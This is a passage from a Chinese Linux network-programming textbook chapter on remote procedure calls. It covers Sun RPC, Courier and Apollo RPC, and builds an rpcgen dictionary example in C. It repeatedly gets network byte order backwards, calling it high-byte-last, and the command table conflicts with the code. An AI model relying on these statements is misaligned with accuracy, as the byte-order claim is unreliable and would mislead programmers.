的约束却使他们不能这样。 首先,网络的延时会使一个远程过程调用的开销远远比本地调用要大。 其次,传统的过程调用因为被调用过程和调用过程运行在同一块内存空间上,可 以在过程间传递指针。而远程过程调用不能够将指针作为参数,因为远程过程与调用者运 行在完全不同的地址空间中。 再次,因为一个远程调用不能共乡调用者的环境,所以它就无法直接访问调用者 的 I/O 描述符或操作系统功能。例如远程过程调用不能在其调用者的标准错误记录文件中 直接写入错误信息。 12.4 远程过程调用的定义 Sun Microsystem 公司定义了一个特定形式的远程过程调用,它称为 Sun RPC,开放网 络计算 (Open Network Computing,ONC) RPC,或简称 RPC。ONC 远程过程定义也被业 界所广泛接受。它已经被用来做了许多网络软件的应用机制,其中包括网络文件系统(NFC Network File System)。 ONC RPC 定义了调用者(客户机)发出的调用服务器中的某个远程过程的格式,参数 的格式,以及被调用过程返回给调用者的结果的格式。它允许调用程序使用 UDP 或 TCP 来装载报文,它利用 XDR 来表示过程的参数以及 RPC 报文首部中的其他条目。最后,除 了协议说明之外,ONC RPC 还包括一个编译系统(rpcgen),它帮助程序员自动建立分布 式程序。 12.5 远程过程调用的有关问题 为了使 RPC 的使用和调用过程一样,应该先解决一些问题,下面分别予以讨论。 1.参数传递 在客户进程和服务器之间的参数传递是可见的,这样,如果参数通过指针引用就会出 现问题,这是因为服务器无法访问客户系统上的内存单元。一个典型的解决方法是 RPC 协 议只允许客户进程传递值参,对于每个远程进程,可以定义一定的格式,如预先定义输入 参数以及返回值的格式是什么。 2.传送协议 有些 RPC 实现仅使用单个传送层协议,有些允许选择,本书中使用的是下面一些协议: Sun RPC(UDP,TCP) Xerox Courier(SPP) Apollo RPC(UDP,DDS) 其中 Sun RPC 可用于面向连接的或非连接的协议,Xerox courier 仅用于面向连接的协 议,Apollo RPC 仅用于非连接协议。 使用非连接协议的时候,client stub 要考虑到丢失信息的问题,而面向连接的协议则无 须考虑这个问题,但另一方面,使用面向连接的协议的开销要大的多。 第十二章 远程过程调用 - 253 - 3.数据表示 对于一个本地进程,客户进程和服务器在同一个系统上执行,因此不存在数据不兼容 的问题,但对于远程过程调用 RPC,如果客户进程和服务器位于不同体系结构的系统上, 则必须有数据转换。 本书讨论的所有实现均通过给 RPC 实现支持的数据类型定义一个或者多个标准格式来 处理这个问题。我们必须考虑所有的数据项,而不仅仅是二进制,客户在使用 ASCII 的系 统上而服务器在使用 EBCDIC 的系统上也应该是可行的。我们可以参考一下本书中的其它 例子是如何处理的。 TCP/IP 协议组在各种协议头中的所有 16 位和 32 位域使用高字节在后的字节顺 序,诸如 32 位的网络和主机 ID 以及 16 位的 UDP 端口号域等。 XNS 协议组也使用 16 位和 32 位域的高位字节在后的字节顺序。 4.3 BSD 打印机假脱机系统将其二进制研制在单字节内,不存在字节序的问题, 对打印机名、文件名、文件大小和登录名等使用 ASCII。 远程登录客户和服务器在处理窗口大小的协议中的 16 位窗口大小域使用高字节在 后的字节序。 4.3 BSD rmt 服务器在除 “ 返回状态” 命令外的所有命令中使用 ASCII 串,这个 特殊命令在不同 UNIX 系统间也不能移植,应完全避免使用。该服务器对读写到磁带的数 据没有限制。 12.5.1 远程过程调用传送协议 现在我们比较一下本书中将要讨论的三个 RPC: Sun RPC。它使用的数据表示标准是 XDR,XDR 使用高字节在后的字节序,任何 域的最小尺寸是 32 位。例如,当一个 VAX 客户进程要将一个 16 位整数传递给同样运行在 VAX 上的服务器时,该 16 位数首先由客户转换成 32 位高字节在后的整数,然后由服务器 转换回低字节在后的 16 位整数。 Xerox Courier。它使用的标准是高位字节在后的字节序,任何域的最小尺寸是 16 位。字符数据编码成 16 位的 Xerox NS 字符集,该字符集对于常规字符使用 ASCII,对于 其它的专用字符集如希腊语使用转义符。例如,当给某一打印机发送数学文本的时候使用 此字符集。 Apollo RPC。Apollo NDR 并不只是使用单个网络标准,而是支持多个格式。如果 用户的内部格式是其支持的格式之一,它允许发送者使用其自己的内部格式,然后,如果 与发送者的格式不同,接受者将其转换成自己的格式。 这三种 RPC 实现所支持的数据类型和格式如表 12-1。 表 12-1 三种 RPC 实现所支持的数据类型和格式 数据类型 Sun RPC Xerox Courier Apollo NDR 8 位逻辑 16 位逻辑 32 位逻辑 支持 支持 支持 8 位带符号整数 8 位无符号整数 16 位带符号整数 16 位无符号整数 32 位带符号整数 32 位无符号整数 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 - 254 - Linux网络编程 64 位带符号整数 64 位无符号整数 支持 支持 支持 支持 字节序 高字节在后 高字节在后 高字节在后 低字节在后 带符号整数格式 补码 补码 补码 32 位浮点数 64 位浮点数 支持 支持 支持 支持 浮点数格式 IEEE IEEE,VAX IBM 或 Cray 字符类型 ASCII 16 位 NS ASCII 或 EBCDIC 枚举 结构(记录) 固定长一维数组 变长一维数组 固定长多维数组 变长多维数组 联合 固定长隐含数组 变长隐含数组 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 支持 注:空表示不支持 所有这三种均使用隐含类型,也就是说,通过网络传送的只是变量的值而不是变量的 类型。而成为 ASNI 的 ISO 数据表示技术使用的是显式类型,在发送每个域值的同时也发 送消息中每个数据域的类型, 例如,当 Courier 发送一个 32 位 整数值时,不管是作为一个过程参数还是作为一个过 程的结果,只有该 32 位值在网络上传送。而 ASNI 则会传送一个 8 位字节,指明下一个值 是一个整数,其后所跟的另一个字节说明该整数域的长度(字节数),然后再跟一个,两个, 甚至五个字节的实际整数值。 12.5.2 Sun RPC 这里描述的版本是“ RPCSRC3.9”,实际的 RPC 协议是 Version 2。Sun RPC 由以下几 个部分组成: Rpcgen,该部分是定义远程过程接口、产生 client stub 和 sever stub 的编译器。 XDR(外部数据表示),是使在不同系统间可移植的方式编码数据的标准方法。 12.5.3 Xerox Courier Courier 既是协议又是一个说明语言,它主要用于 UNIX 和其他 Xerox 系统通知如 Xerox 打印服务器或 Xerox 文件服务器。 现在使用 Courier 给出前一节中的客户和服务器程序,我们必须编写三段代码: RPC 说明,用 Courier 语言 客户程序,用 C 语言 服务器程序,用 C 语言 Courier 远程过程以三种方法返回: 常规返回 远程过程拒绝执行的拒绝返回 远程过程产生的中止返回 第十二章 远程过程调用 - 255 - 在上面的例子中是常规返回,拒绝返回和中止返回可由客户程序处理,如果客户程序 不处理这些错误,则会终止客户程序。 我们现在讨论使用 Courier 执行一远程过程的步骤。支持 courier RPC 的任何 UNIX 系 统必须运行一个守护进程以在一公认的 SPP 端口(端口 5)上监听客户进程的连接请求, 在编译和连接了服务器程序之后,我们应当告知 Courier 守护进程某服务器可以被激活,为 此,我们必须在文件 /etc/Courierservices 中增加一项以指明所执行文件的程序号、版本号 和路径名。 Xnscourierd 守护进程通常是在系统启动时启动的,其执行步骤如下: 客户调用 CourierOpen 打开与指定主机的连接,由此建立起与远程主机上端口 5 的 spp 连接,在此端口上 xnscourierd 进程监听客户请求。 守护进程产生一个子进程来处理该连接,子进程从连接上读出前几个字节确认是 一个 Courier 客户后,等待其发出 RPC 请求,指明被调用的程序,版本和过程。 客户调用 Bindate 函数的时候,client stub 向连接写入合适的程序号、版本号和过 程号。 子进程从连接读出这个信息,然后读文件 / etc / Courierservices 以确定执行哪个服 务器程序,接着由子进程执行相应的服务器程序。注意,子进程已经从连接读取了过程号, 在调用服务器程序时必须将此过程号传递给服务器程序,这个过程号是以 exec 命令行中的 形式传递给服务器程序的,由服务器程序中的 server stub 确定要调用哪两个远程过程。 启动 dateserver 程序,由 server stub 的 main 函数处理其命令行参数以确定调用哪 个远程过程,然后调用 BinDate 函数,函数返回时,server stub 将结果转换成 Courier 标准 形式并将它们送回客户。 接着客户进程调用 StrDate 函数。Client stub 通过连接发送程序号、版本号和过程 号,dateserver 进程中的 server stub 职别到程序和版本没有改变,就调用 StrDate 函数,调 用前 server stub 从连接读取参数并将它们从 Courier 格式转化成函数要求的格式;若是一不 同程序或不同版本的请求,server stub 就 必须执行对应的程序来处理这一新的请求。 函数返回 server stub 的时候,它转换返回值并将它们发送回客户,最后由客户调 用 Courier Close 关闭 SPP 连接,服务器进程正常终止。 Courier 为客户和服务器之间的网络连接使用的是 XNS 顺序分组协议(SPP),因为这 是一个面向连接的协议,故对客户和服务器之间交换的数据量没有限制。Courier 使用 SPP 头中的消息结束标志以及数据流类型域。 12.5.4 Apollo RPC 网络计算体系机构(NCA)是 Apollo 的远程计算系统结构,尽管此体系结构已公开发 表,但称之为 NCS (Network Computing System )的 Apollo 仍是一特权产品。NCS 分为 以下几部分: NIDL(网络接口定义语言。有一个编译器将此语言转化为 server stub 和 client stub。 NDR (网络数据表示),它定义了传递所支持的数据类型所使用的标准形式。 运行时间库。 NCA RPC 允许任意数目的参数和返回值,我们可以指定每个参数是输入(从客户传递 给服务器),输出(从服务器返回给客户)或既是输入又是输出。 Apollo RPC 运行于非连接的传递协议,通常使用的是 UDP 或 DDS (Appolo 的特权 网络协议)。如果网络消息太长而不能放入一个网络分组中时,Apollo 实现要对网络消息进 行分段和组装,UDP 的上限是 64K 字节,而 Xerox IDP 的上限是 546 字节。 实现使用的是完全的套接字地址,而不只是某个协议的端口号,并且标识特定服务器 的客户句柄含有服务器的整个套接字地址,也就是说能够以与协议无关的方式向客户进程 - 256 - Linux网络编程 写,因为完全的套接字地址是每个调用的句柄的一部分,客户在将其句柄加载到特定服务 器之前不需要知道正在使用什么传送协议,即便句柄加载的一个服务器,句柄对客户进程 来说也是一个非透明的结构。 12.6 stub 过程简介 在我们将一个传统程序改写成 RPC 程序时,我们为了实现 RPC 而加入程序的附加过 程被称为 stub 过程。理解 stub 过程的最简单的方法是设想一个传统的程序,它被分割成两 个程序,一个已有的过程被转移到一个远程机器中。在远程过程(服务器)一端,stub 过 程取代了调用者。这 stub 实现了远程过程调用所需要的所有的通信。因为 stub 与原来的 调用使用了一样的接口,因此,增加这些 stub 既不要求更改原来的调用过程,也不要求 更改原来的被调用过程。图 12-5 展示了 stub 的概念,它说明了 stub 这个过程是怎样分离 出本地过程和远程部分的。 图 12-5 stib 过程 12.7 rpcgen 简介 因为实现一个 RPC 服务器所需要的多数代码是不变的,例如,如果远程过程过程号与 客户机端 stub 过程之间的映射被保存在一个数据结构中,那么所有的服务器都可以使用相 同的分派进程。与此类似,所有的服务器都可以使用相同的代码来向端口映射器注册。 为了避免不必要的编程,ONC RPC 的实现包含一个工具,它自动生成实现一个分布市 程序所需要的大部分代码。这个工具叫做 rpcgen,它读取一个规格说明文件作为输入,生 成 C 的源程序作为输出。规格说明文件包含常量,全局数据类型,全局数据,以及远程(过 程包括过程参数和结果类型)的声明。Rpcgen 产生的代码包含了实现客户机和服务器(它 提供指明的远程过程调用)程序所需要的大部分源代码。具体的说,rpcgen 为客户机端和 服务器端生成 stub 过程,它包括参数整理,RPC 报文,把调用分配到正确的过程,发送应 答,在参数和结果的外部表示和本地数据表示之间进行转换。Rpcgen 的输出在与一个应用 程序和程序员编写少数文件相结合后,便产生了完整的客户机和服务器程序。 RPC 是一个使用性很广的概念。一个程序远可以使用 RPC 来帮助指明或实现一个分布 式程序。在使用 ONC RPC 时,程序员可以选择各种方式,如,在白手起家构建代码时按 照 RPC 的规格说明进行,使用在 RPC 库中所找到的过程,或者使用一个称为 rpcgen 的程 加入到程序中的 stub 过程实现了一个远程过程调用。因为 stub 与原来的 调用使用了一样的接口,因此,增加这些 stub 既不要求更改原来的调用过 程,也不要求更改原来的被调用过程。 第十二章 远程过程调用 - 257 - 序自动生成工具。 在下面的几节中,我们将通过一个例子来讲解 RPC 的具体使用。 12.8 分布式程序生成的例子 我们下面举一个例子来看看 rpcgen 是如何工作的。 下面的程序是一个简单的查找字典的程序。该字典提供四个基本操作: 初始化(initialize),它初始化数据库(既清除以前存储的所有信息); 插入(insert),它插入一条新的信息; 删除(delete),它删除一个条目; 查找(look up),它寻找某个条目。 我们假设数据库中的每一个条目都是单个的单词,接着使用数据库来检查新单词,以 便知道没个单词是否在字典中。输入的指令我们定义为每行包含一个单字母的命令,后面 跟着一个单词参数。表 12-2 为我们命令参数的说明表: 表 12-2 命令参数说明 单字母命令 参数 含义 I 无 通过删除所有单词来初始化数据库 I Word 把 word 插入到数据库中 D Word 把 word 从数据库中删除 L Word 在数据库中查找 word Q 无 退出 我们可以通过 I 命令先初始化数据库,然后使用 i 命令来插入几个单词,通过 l 命令来 查找数据库中是否存在。 12.8.1 我们如何能够构造出一个分布式应用程序 作为一个程序员,我们可以按照下面的顺序来编写分布式应用程序: 构建一个解决该问题的常规应用程序 选择一组过程,以便将这些过程转移到一个远程机器中,通过这个方法将程序分解。 为远程过程程序编写一个 rpcgen 规格说明,包括远程过程调用的名字极其编号,还 有对其参数的声明。选择一个远程程序号和一个版本号(通常为 1 )。 运行 rpcgen 来检查该规格说明,如何合法,便生成四个源代码文件,这些文件将在 客户机和服务器程序中使用。 为客户机端和服务器端编写 stub 接口例程。 编译并连接客户机程序。它主要由四个主要文件构成:最初的应用程序(远程过程 被从中删除了的那个),客户机端的 stub (由 rpcgen 生成),客户机端的接口 stub 以及 XDR 过程(由 rpcgen 生成)。当所有的文件都被编译和连接到一起后,最终的可执行的程序就 是客户机。 便宜并链接服务器程序。它由四个重要文件构成:由最初的应用程序得来的过程, 他们现在构成了远程程序,服务器端的 stub (由 rpcgen 生成),服务器端的借口 stub 以及 XDR 过程(rpcgen 生成的)。当所有的这些文件被编译和链接到一起后,最终的可执行程 序就是服务器。 在远程机器上启动服务器,在本地机器上启动客户机。 下面我们将详细的解释每一个步骤。 1.构建一个常规的应用程序 要构建这个字典应用例子,我们首先来写出实现这个字典的常规版本。 /* dict.c 包含 main,initw,netxin,insertw,deletew,lookupw 函数 */ - 258 - Linux网络编程 #include <stdlib.h> #include <stdio.h> #include <ctype.h> #include <string.h> /* 每一个输入的命令的最大长度 */ #define MAXWORD 50 /* 整个字典中可以包含的最多字数 */ #define DICTSIZ 100 /* 字典的数据存取数组 */ char dict[DICTSIZ][MAXWORD+1] ; /* 字典中字母数 */ int nwords = 0 ; int nextin ( char* cmd, char* word) ; int initw() ; int insertw ( const char* word ) ; int deletew ( const char* word ) ; int lookupw ( const char* word ) ; /* 主函数,进行各种操作 */ int main ( int argc, char* argv[] ) { /* 从命令行取得命令的变量 */ char word [ MAXWORD + 1 ] ; char cmd ; /* 输入单词的长度 */ int wrdlen ; while ( 1 ) { wrdlen = nextin ( &cmd, word ) ; if ( wrdlen < 0 ) { exit ( 0 ) ; } switch ( cmd ) { case ‘I’ : /* 初始化 */ initw () ; printf ( “Dictionary initalized to empty. \n” ) ; break ; case ‘i’ : /* 插入操作 */ insertw ( word ) ; 第十二章 远程过程调用 - 259 - printf ( “%s inserted. \n”, word ) ; break ; case ‘d’ : /* 删除操作 */ if ( deletew(word) ) { printf ( “%s deleted. \n”, word ) ; }else { printf ( “%s not found. \n”, word ) ; } break ; case ‘l’ : /* 查找 */ if ( lookupw(word) ) { printf ( “%s was found. \n”, word ) ; }else { printf ( “%s was not found. \n”, word ) ; } break ; case ‘q’ : /* 退出 */ printf ( “program quits \n” ) ; exit ( 0 ) ; default : /* 无法识别的命令 */ printf ( “command %c invalid. \n”, cmd ) ; break ; } /* switch 结束 */ } } /***************************************************************** nextin 函数: 读取输入的命令和命令后面跟的单词参数 * ******************************************************************/ int nextin ( char* cmd, char* word ) { int i, ch ; ch = getc ( stdin ) ; while ( isspace(ch) ) { - 260 - Linux网络编程 ch = getc ( stdin ) ; } if ( ch == EOF ) { return -1 ; } *cmd = (char) ch ; ch = getc ( stdin ) ; while ( isspace(ch) ) { ch = getc ( stdin ) ; } if ( EOF == ch ) { return -1 ; } if ( ‘\n’ == ch ) { return 0 ; } i = 0 ; while ( !isspace(ch) ) { if ( MAXWORD < ++i ) { printf ( “error: word too long\n” ) ; exit ( 1 ) ; } *word++ = ch ; ch = getc ( stdin ) ; } *word++ = 0 ; return i ; } /********************************************************* initw 初始化字典,清空所有数据 * *********************************************************/ int initw() { nwords = 0 ; return 1 ; } 第十二章 远程过程调用 - 261 - /********************************************************* insertw 将一个单词插入字典 * *********************************************************/ int insertw ( const char* word ) { strcpy ( dict[nwords], word ) ; nwords ++ ; return nwords ; } /********************************************************* insertw 在字典中删除一个单词 * *********************************************************/ int deletew ( const char* word ) { int i ; for ( i=0 ; i< nwords ; i++ ) { if ( 0==strcmp(word, dict[i]) ) { nwords -- ; strcpy ( dict[i], dict[nwords] ) ; return 1 ; } } return 0 ; } /********************************************************* insertw 在字典查找一个单词 * *********************************************************/ int lookupw ( const char* word ) { int I ; for ( I=0 ; nwords > I ;I++ ) { if ( 0 == strcmp(word, dict[I]) ) { return 1 ; } } return 0 ; - 262 - Linux网络编程 } 为了使应用程序简单并且便于理解,文件 dict.c 中的这个常规程序使用了二维数组来 存储单词。一个全局变量 nwords 记录了任何时候字典中的单词数量。著称许包含一个循环, 在每次循环中读取并处理输入文件总的一行。它调用过程 nextin 从下一输入行中读取一个 命令(可能还包含一个单词),接着使用一个 C 语言的 switch 语句在六种可能的情况中选 择其一。这些情况对应与五个有效命令再加上一个处理非法输入的默认情况。 主程序对每中情况都调用一个过程来处理细节。例如,对应于一个插入命令 I,它调 用过程 insertw。过程 insertw 在数组的末尾插入一个新的单词,并将 nwords 加 1。 其他过程也按照我们所期望的那样进行操作。过程 deletew 寻找所要删除的单词,如 果找到了这个单词,便用字典中的最后一个单词取代它,然后将 nwords 减 1。而 lookupw 循序查找数组,以便确定字典中是否有该指定的单词。若有则返回 1,否则返回 0。 为产生应用程序的二进制文件,我们可以调用 C 编译器。在 Linux 中可以这样: gcc –o dict dict.c 从文件 dict.c 中的源程序产生一个命为 dict 的可执行文件。' 2.将程序划分成两部分 图 12-6 dict 应用过程的组织情况 常规程序一旦构建完成并经过测试,就可以将它划分成本地构建和远程构建了。在我 们开始划分程序之前,我们必须有一个程序过程调用的概念模型。图 12-6 展示了我们的 dict 应用过程的组织情况。 在考虑哪个过程可以转移到远程机器上时,程序员必须考虑每个过程所需要的设施。 例如:过程 nextin 在每次调用的时候要从标准输入读取下一行的命令,并对它进行分析。 因为它需要访问标准输入的文件描述符,所以 nextin 必须被放在主程序中。 注意:执行 I /O 或者访问文件描述符的过程不能轻易的转移到远程机器中。 我们还必须考虑每个过程所要访问的数据所处的位置。例如,过程 lookupw 需要访问 全部单词数据库。如果执行 lookupw 的机器不同于字典所处的机器,对 lookupw 的 RPC 调 用就必须将整个字典作为参数来传递。 这种将巨大的数据结构作为参数传递的远程过程调用的效率是非常低下的,因为 RPC 必须为每个远程过程调用对整个数据结构进行读取和编码。一般来说,执行过程的机器应 当与放置过程所要访问数据的机器是同一个。将巨大的数据结构传递给远程过程的效率是 非常低的。 我们在考虑了最初的字典应用程序以及每个过程所访问的数据之后,很明显应当把过 程 insertw,deletew,initw,lookupw 和字典本身放到同一台机器中。 假设我们决定将字典的存储以及相关的过程转移到一台远程机器中。为理解这么做的 后果,我们要在穿件一个分布式程序和数据结构的形象,图 12-7 说明了数据及对它的访问 第十二章 远程过程调用 - 263 - 过程转移到一台远程机器后,这个字典应用程序的新结构: 图 12-7 dict 远程程序的结构 图 12-7 可以帮助我们思考对程序的划分(划分为本地构建和远程构建)。我们必须要 考虑每个过程是否要访问数据以及它所需要的服务,还必须考虑每个远程过程所要求的参 数以及在网上传送这些信息所带来的开销。最后,该图还能帮助我们了解网络延时将如何 旖旎感想程序的性能。 下面我们将源程序划分为两个构件。我们需要明确的划分出每个构件所使用的常量和 数据结构,将每个构建放置到一个单独的文件当中。在本字典的例子中,划分是简洁明了 的,因为最初的源文件可以在过程 nextin 和 initw 之间进行划分。文件 dict1.c 含有主程序 和过程 nextin: /* dict1.c 包含 main 和 nextin 过程 */ #include <stdlib.h> #include <stdio.h> #include <ctype.h> #include <string.h> /* 每一个输入的命令的最大长度 */ #define MAXWORD 50 int nextin ( char* cmd, char* word) ; int initw() ; int insertw ( const char* word ) ; int deletew ( const char* word ) ; int lookupw ( const char* word ) ; /* 主函数,进行各种操作 */ int main ( int argc, char* argv[] ) { /* 从命令行取得命令的变量 */ char word [ MAXWORD + 1 ] ; char cmd ; /* 输入单词的长度 */ - 264 - Linux网络编程 int wrdlen ; while ( 1 ) { wrdlen = nextin ( &cmd, word ) ; if ( wrdlen < 0 ) { exit ( 0 ) ; } switch ( cmd ) { case ‘I’ : /* 初始化 */ initw () ; printf ( “Dictionary initalized to empty. \n” ) ; break ; case ‘i’ : /* 插入操作 */ insertw ( word ) ; printf ( “%s inserted. \n”, word ) ; break ; case ‘d’ : /* 删除操作 */ if ( deletew(word) ) { printf ( “%s deleted. \n”, word ) ; }else { printf ( “%s not found. \n”, word ) ; } break ; case ‘l’ : /* 查找 */ if ( lookupw(word) ) { printf ( “%s was found. \n”, word ) ; }else { printf ( “%s was not found. \n”, word ) ; } break ; case ‘q’ : /* 退出 */ printf ( “program quits \n” ) ; 第十二章 远程过程调用 - 265 - exit ( 0 ) ; default : /* 无法识别的命令 */ printf ( “command %c invalid. \n”, cmd ) ; break ; } /* switch 结束 */ } } /***************************************************************** nextin 函数: 读取输入的命令和命令后面跟的单词参数 * ******************************************************************/ int nextin ( char* cmd, char* word ) { int i, ch ; ch = getc ( stdin ) ; while ( isspace(ch) ) { ch = getc ( stdin ) ; } if ( ch == EOF ) { return -1 ; } *cmd = (char) ch ; ch = getc ( stdin ) ; while ( isspace(ch) ) { ch = getc ( stdin ) ; } if ( EOF == ch ) { return -1 ; } if ( ‘\n’ == ch ) { return 0 ; } i = 0 ; while ( !isspace(ch) ) { if ( MAXWORD < ++i ) { - 266 - Linux网络编程 printf ( “error: word too long\n” ) ; exit ( 1 ) ; } *word++ = ch ; ch = getc ( stdin ) ; } *word++ = 0 ; return i ; } 文件 dict2.c 包含了来自最初的应用程序中的一些过程,他们将成为远程程序中的一部 分。另外,它还要包含对各个过程要共享的全局数据的声明。在这里,文件还没有成为真 正的远程程序,我们只是将这个程序简单的分为两部分。 /* dict2.c 包含 initw, insertw, deletew, lookupw 过程 */ #include <stdlib.h> #include <stdio.h> #include <ctype.h> #include <string.h> /* 每一个输入的命令的最大长度 */ #define MAXWORD 50 /* 整个字典中可以包含的最多字数 */ #define DICTSIZ 100 /* 字典的数据存取数组 */ char dict[DICTSIZ][MAXWORD+1] ; /* 字典中字母数 */ int nwords = 0 ; int nextin ( char* cmd, char* word) ; int initw() ; int insertw ( const char* word ) ; int deletew ( const char* word ) ; int lookupw ( const char* word ) ; /********************************************************* initw 初始化字典,清空所有数据 * *********************************************************/ int initw() { nwords = 0 ; return 1 ; } /********************************************************* insertw 将一个单词插入字典 * *********************************************************/ int insertw ( const char* word ) { 第十二章 远程过程调用 - 267 - strcpy ( dict[nwords], word ) ; nwords ++ ; return nwords ; } /********************************************************* deletew 在字典中删除一个单词 * *********************************************************/ int deletew ( const char* word ) { int i ; for ( i=0 ; i< nwords ; i++ ) { if ( 0==strcmp(word, dict[i]) ) { nwords -- ; strcpy ( dict[i], dict[nwords] ) ; return 1 ; } } return 0 ; } /********************************************************* lookupw 在字典查找一个单词 * *********************************************************/ int lookupw ( const char* word ) { int i ; for ( i=0 ; nwords > i ;i++ ) { if ( 0 == strcmp(word, dict[i]) ) { return 1 ; } } return 0 ; } 注意,对符号常量 MAXWORD 的定义在两个构件中都出现了,因为他们都要声明用 于存储变量。然而,只有 dict2.c 中才含有用与存储字典的数据结构的声明,因为只有远程 过程调用才包含字典的数据结构。 从实际的观点看,将应用程序分为两个文件使得分别编译客户机和服务器成为可能。 编译器检查诸如符号常量之类的问题,而链接程序将检查所有的数据结构同引用它们的过 - 268 - Linux网络编程 程结合到了一起。在 Linux 下: gcc –c dict1.c gcc –c dict2.c 这将产生两个目标文件(并不是完整的程序)。这些构建必须连接到一起以产生一个可 执行的程序。但是,这并不是编译他们的直接原因:我们使用编译器来检查这两个文件是 否语法正确。 在考虑让编译器检查代码这种方法时,我们要记住,大多数分布式程序要比我们的简 单例子复杂的多。一次编译可能会发现一大堆问题,他们会转移程序员的注意力。在插入 其他代码之前抓住这些问题可以使我们以后调试省力的多。 3.创建一个 rpcgen 规格说明 我们现在已经为我们的字典程序选择了一种结构,下面我们将准备一个 rpc 规格说明。 从本质上说,一个 rpcgen 规格说明文件包含了对一个远程程序的声明以及它所使用的数据 结构。 该规格说明文件包含常量,类型定义,以及对客户机和服务器程序的声明。更加准确 的说,这个规格文件包括: 声明在客户机或服务器(远程程序)中所使用的常量。 声明所使用的数据类型(特别是对远程过程的参数)。 声明远程程序,每个程序中所包含的过程,以及它们的参数的类型。 我们知道 RPC 使用一些数字来表示远程程序以及在这些程序中的远程过程。在规格说 明文件中的程序声明定义了诸如程序的 RPC 号,版本号,以及分配给程序中的过程的编号 等细节。 所有这些声明必须用 RPC 编程语言来给出,而不是用 C。尽管他们的区别是微小的, 但它们可能会成为障碍。例如,RPC 用关键字 string 代表以 null 结尾的字符串,而 C 却用 char* 来表示。因此,即使是一个有经验的程序员,要产生一个正确的规范说明,可能也 需要多次反复。 文件 rdict.x 说明了一个 rpcgen 规格说明。它包含了对字典程序的 RPC 版的声明。 /* rdict.x RPC 规格说明 */ const MAXWORD = 50 ; const DICTSIZ = 100 ; /******************************************************* RDICTPROG 远程过程,包括 insert, delete 和 lookup * *******************************************************/ /* 远程过程的名字 */ program RDICTPROG { /* 远程过程的版本 */ version RDICTVERS { /* 第一个过程 INITW */ int INITW ( void ) = 1 ; /* 第二个过程 INSERTW */ int INSERTW ( string ) = 2 ; /* 第三个过程 DELETEW */ 第十二章 远程过程调用 - 269 - int DELETEW ( string ) = 3 ; /* 第四个过程 LOOKUPW */ int LOOKUPW ( string ) = 4 ; /* 定义了版本号 */ }= 1 ; /* 远程过程的数字 ( 必须是唯一的 ) */ }= 0x30090949 ; 一个 rpcgen 规格说明文件并没有囊括最初的程序中所能找到的所有声明.它仅仅定义了 那些在客户机和服务器之间要共享的常量和数据类型,或者是那些需要指明的参数。 这个规格说明的例子是由定义常量 MAXWORD 和 DICTSIZE 开始。在最初的应用中, 这两个常量都是用 C 的预处理语句 #define 定义的符号常量。 RPC 不使用 C 的符号常量 声明。取而代之的是,它要求符号常量用关键字 const 声明,赋值时使用等号(=)。 按照约定,规格说明文件使用大写的名字来定义过程和程序。正如我们下面将看到的, 这些名字会成为可以在 C 程序中使用的符号常量。在这里,并不是绝对的有要求要大写, 但是这样做可以有助于避免冲突。 4.运行 rpcgen 在完成了规格说明后,我们可以运行 rpcgen 来检查语法错误,如果没有发生错误,系 统将会产生三个文件。 [zixia@bbs tmp]$ ls rdict.x [zixia@bbs tmp]$rpcgen rdict.x [zixia@bbs tmp]$ ls rdict.h rdict.x rdict_clnt.c rdict_svc.c 系统生成的文件为 rdict.h rdict_clnt.c rdict_svc.c 。 下面我们先来看看 rdict.h 文件: /* Please do not edit this file. It was generated using rpcgen. */ #ifndef _RDICT_H_RPCGEN #define _RDICT_H_RPCGEN #include <rpc/rpc.h> #ifdef __cplusplus extern “C” { #endif #define MAXWORD 50 #define DICTSIZ 100 #define RDICTPROG 0x30090949 #define RDICTVERS 1 #if defined(__STDC__) || defined(__cplusplus) #define INITW 1 extern int * initw_1(void *, CLIENT *); - 270 - Linux网络编程 extern int * initw_1_svc(void *, struct svc_req *); #define INSERTW 2 extern int * insertw_1(char **, CLIENT *); extern int * insertw_1_svc(char **, struct svc_req *); #define DELETEW 3 extern int * deletew_1(char **, CLIENT *); extern int * deletew_1_svc(char **, struct svc_req *); #define LOOKUPW 4 extern int * lookupw_1(char **, CLIENT *); extern int * lookupw_1_svc(char **, struct svc_req *); extern int rdictprog_1_freeresult (SVCXPRT *, xdrproc_t, caddr_t); #else /* K&R C */ #define INITW 1 extern int * initw_1(); extern int * initw_1_svc(); #define INSERTW 2 extern int * insertw_1(); extern int * insertw_1_svc(); #define DELETEW 3 extern int * deletew_1(); extern int * deletew_1_svc(); #define LOOKUPW 4 extern int * lookupw_1(); extern int * lookupw_1_svc(); extern int rdictprog_1_freeresult (); #endif /* K&R C */ #ifdef __cplusplus } #endif #endif /* !_RDICT_H_RPCGEN */ 它包含了在规格说明文件中所声明的所有常量和数据类型 C 的合法声明。另外,rpcgen 还增加了对远程过程的定义。在这个例子代码中,rpcgen 定义大写的 INSERTW 为 2,因 为规格说明中声明过程 INSERTW 为远程程序的第二个过程。 这里需要解释一下的是 rdict.h 中的外部过程声明。这个被声明的过程构成了客户机端 的 stub 的接口部分。过程名取自业已声明过的过程名,只是将其全部换为小写,并附加上 一个下画线和程序的版本号。例如,我们的规格说明文件的离子声明:远程程序包含有过 程 DELETEW。于是 rdict.h 含有一个对过程 deletew_1 的外部声明。为了理解为什么 rpcgen 要声明这些接口例程,我们可以回顾 stub 接口的部分目的:它允许 rpcgen 选择自己的调用 约定,而又可以让最初的调用过程保持不变。 作为接口 stub 命名的一个离子,让我们考虑过程 insertw。最初的过程将成为服务器的 一部分,而且将保持不变。这样,服务器将具有一个名为 insertw 的过程,它和最初的应用 程序具有相同的参数。为避免命名冲突,服务器必须为接口 stub 过程使用不同的名字。Rpcgen 第十二章 远程过程调用 - 271 - 让服务器端的通讯 stub 调用一个叫做 insertw_1 的接口 stub 过程。该调用使用 rpcgen 所选 择的参数,而且它允许程序员设计 insertw_1 以便能用正确的参数调用 insertw。 对于我们这个字典程序的例子,rpcgen 产生了文件 rdict_clnt.c,这是一个源程序,它 将成为这个分布式客户机端的通信 stub。 下面我们来看看 rpcgen 生成的客户机代码: /* Please do not edit this file. It was generated using rpcgen. */ #include <memory.h> /* for memset */ #include “rdict.h” /* Default timeout can be changed using clnt_control() */ static struct timeval TIMEOUT = { 25, 0 }; int *initw_1(void *argp, CLIENT *clnt) { static int clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if 